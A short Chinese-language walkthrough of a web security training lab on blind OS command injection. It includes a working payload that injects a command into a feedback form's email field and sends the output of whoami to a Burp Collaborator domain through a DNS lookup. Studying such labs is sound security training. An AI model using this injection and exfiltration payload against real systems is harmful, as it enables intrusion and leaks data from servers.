Lab: Blind OS command injection with out-of-band data exfiltration：外带数据泄露的系统命令盲注

靶场内容：

本实验在反馈功能中包含一个OS 命令盲注入漏洞。

应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的，对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是，您可以触发与外部域的带外交互。

要解决实验室问题，请执行whoami命令并通过 DNS 查询将输出泄露到 Burp Collaborator。您需要输入当前用户的姓名才能完成实验。

注意
为了防止 Academy 平台被用来攻击第三方，我们的防火墙会阻止实验室与任意外部系统之间的交互。要解决实验室，您必须使用 Burp Collaborator 的默认公共服务器 ( burpcollaborator.net)。

漏洞解析

• 点击submit feedback ，输入信息，抓取包
• 点击burp，启动 Burp Collaborator client
• 点击 "Copy to clipboard"
• 转到报文中,在email后面添加

||nslookup+ ` whoami`.xxxxxxxxxxxxxxxx.burpcollaborator.net||

• 这波操作，可以将whoami信息返回给客户端
• 然后打开客户端就可以看见whoami信息了
• 打开靶场，提价信息即可

关键截图：